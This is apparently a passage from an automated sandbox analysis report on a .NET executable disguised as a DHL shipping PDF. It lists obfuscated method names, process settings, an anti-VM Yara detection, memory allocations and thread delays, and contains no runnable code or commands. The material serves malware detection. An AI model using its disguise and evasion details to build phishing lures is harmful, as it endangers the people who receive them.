Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, Pwd2CcULBNau6IqyCn.cs	High entropy of concatenated method names: 'hbqcJJkrCy', 'eINc2abhid', 'DT0cUVkIvm', 'TebcMjnAtT', 'EDhcxoxS9l', 'wwZchmmw95', 'QqUc16Pack', 'eO0ces1xIM', 'oBXc6etImu', 'YEJc0a3bx0'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, BqQxfQzLLQbFtPRW3J.cs	High entropy of concatenated method names: 'HiMSfbaJWY', 'UZgSYLHFiS', 'dOgSD9YEWk', 'fiPStMKa2h', 'uMdSxhuhvH', 'zn8S1o6wK1', 'XJrSeJxbXt', 'h1kSHKidTj', 'VNVSG0RGt1', 'BAlSFM6MyH'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, I7MtYtpPZaFAheexDu.cs	High entropy of concatenated method names: 'XPAnY10wV', 'RAUwK3wxX', 'jCRfkcyS2', 'of9Q8SLlg', 'J7dD2hgoc', 'pgmEZN5DI', 'fCc5SV3IDrSUcndWMe', 'FEhI6JrqGTkxZyNDwW', 'o5csSYsRa', 'S8MSDgxYc'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, dRkct4CeFnMgMmS3ds.cs	High entropy of concatenated method names: 'TiR5XZZiMm', 'GgN5TbupTa', 'l1F5rrJSFk', 'cax5K41uki', 'mCs5c8aFiG', 'I8Q5kkgBG0', 'tXodXri4e3Pss4Tgc0', 'zv7lhwaoETO3SJ1wGJ', 'CVD3MTlb6RZ9W6erQE', 'wV3557vWaP'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, iZZiMmYtgNbupTaoiP.cs	High entropy of concatenated method names: 'W7PdUlLGPM', 'KQcdMhvy8v', 'q7yd7OeGl6', 'Sa7dZiWSgJ', 'PP7dWHpbZB', 'QNtdqcj5Os', 'WtfdyIuwae', 'kOydoBgQii', 'elhdBE2tJl', 'ONCd86Ixv3'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, ErUi7lD1FrJSFkpax4.cs	High entropy of concatenated method names: 'UeIiwtuIyM', 'jwiifH8AFc', 'GP5iYvmYMZ', 'QeRiDBUgLI', 'lZZic6DkXR', 'up9ikVsMPg', 'KuDim7tHdW', 'zB9isjL9Mo', 'Tc7iuoSaYe', 'WTZiSh4CaK'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, awiqG603sLp4n4D4Pi.cs	High entropy of concatenated method names: 'N31X4gDs4M', 'bh6Xi9goVO', 'NuBXalSu3I', 'Kfna8FIG3P', 'B0iazrEgCu', 'htfXbiS8mJ', 'FxLX51rNQT', 'qq9XpMclrN', 'NmdXVi7D9S', 'M4gXCgP6hW'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, fIE1H5BiCREqRqSkOl.cs	High entropy of concatenated method names: 'aAiutRbCK4', 'oC2uxFIrSD', 'myJuh3kglP', 'tk6u11c8Nd', 'A6sueL7kSN', 'JNUu6TjHZV', 'vTMu0gU4Sd', 'KFUuPU4ayK', 'aTWujw5S8f', 'LR5uJNag6t'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, LQxvD75CeVNpyj0oPCK.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'aYJ3u0m8gj', 'aUT3S76k24', 'CwQ3LuP546', 'z9i33GGlli', 'xgw39BUdgW', 'XaE3vDRD7p', 'JgC3HkXNiU'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, yiG18QtkgBG0q72fMG.cs	High entropy of concatenated method names: 'xrIaOqC6qj', 'RECadPc6uQ', 'KQyaR0KVG4', 'qqFaXEeVy9', 'KARaT9eRwN', 'e9ERWoEQnU', 'JBRRquaeAj', 'wvFRyWGtno', 'NefRoINMhT', 'kllRBoP378'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, MuxZ4DZLQy9qJCXI4U.cs	High entropy of concatenated method names: 'T5SmrXVfSB', 'AMrmKQSFtk', 'ToString', 'IXHm4DdOdY', 'jGYmdLDfFD', 'fBfmiWEUPX', 'v3nmRv0T0c', 'iJXmaQUKyh', 'kGomXxxKXW', 'tOsmTtyWoF'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, nk1RHsjxXGk2crEfVF.cs	High entropy of concatenated method names: 'EsKXGPyr6m', 'fdUXF2CAUx', 'Y5hXnNpjVK', 'dQlXwH7TtP', 'Td4XgwpCRE', 'TZHXfVdg2x', 'xepXQZHbcG', 'Q4gXY6b6cD', 'bUiXDtX1ir', 'gqvXElWeOQ'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, IukijGEZYdQjGrCs8a.cs	High entropy of concatenated method names: 'unWRgWvK5S', 'UErRQV91GE', 'tVfihCDovu', 'cWFi1oE44J', 'eM3ie0f3t5', 'qoCi6TpxWB', 'yiai0hP8VA', 'WPpiPPNBl3', 'CkCijUXMu2', 'CJqiJtLvpU'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, jyMCAX5bjsK0ZXc3xrI.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CMVSNdTnH9', 'toJS2I4Gx2', 'y1WSIk5Kx7', 'jxaSUwWFEX', 'FYZSM7cCwZ', 'jQYS72RMxp', 'WrHSZLHkZB'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, SXeNjVTESUiPlIoGVN.cs	High entropy of concatenated method names: 'NQTVORTIqk', 'hlPV41o3Hv', 'RQ6VdPgZbO', 'bJ0VidnE9I', 'hnrVR7iCnL', 'RppVaQLIZb', 'XVTVXtd8Ly', 'wKMVTjvUMt', 'sdAVlQ2yR3', 'whHVrZOFnV'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, xnApCVIMjrAdI14lEe.cs	High entropy of concatenated method names: 'LuOAYNVVHs', 'xlxADBl0J6', 'OL0AtQ7EN0', 'TLOAxttZHN', 'oBhA14XYjv', 'KsVAeMjED8', 'cL6A0H2A5U', 'w1uAP4U135', 'CxGAJjB2RQ', 'OhdAN7y352'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, eVQ1hw554PPm3rQXRCb.cs	High entropy of concatenated method names: 'h85S8Xvo3Y', 'UoMSz2136K', 'P0nLbbdiTj', 'hmkL5eQgcf', 'MruLp8CpCm', 'AN7LVupXLR', 'sohLCKn59q', 'vAjLOGuoWN', 'Y46L4Y3qHT', 'XnTLdH4msA'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.8ab0000.7.raw.unpack, RMxiovdXSF96pWK4ss.cs	High entropy of concatenated method names: 'Dispose', 'fcv5B45FyA', 'BJwpxEWrFX', 'Feo4tAAH3f', 'K0o58JZ1Z8', 'MeX5zjNqDU', 'ProcessDialogKey', 'oPdpbIE1H5', 'gCRp5EqRqS', 'pOlppGNZtb'

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	File created: \dhl shipping details ref id 446331798008765975594-pdf.exe
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	File created: \dhl shipping details ref id 446331798008765975594-pdf.exe			Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716, type: MEMORYSTR

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 11B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 2B50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 2980000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 8C50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 9C50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 9E50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: AE50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 2E30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 2EE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 2E30000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598249	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597702	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597253	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596973	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596621	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596464	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596249	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595921	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595593	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595484	Jump to behavior
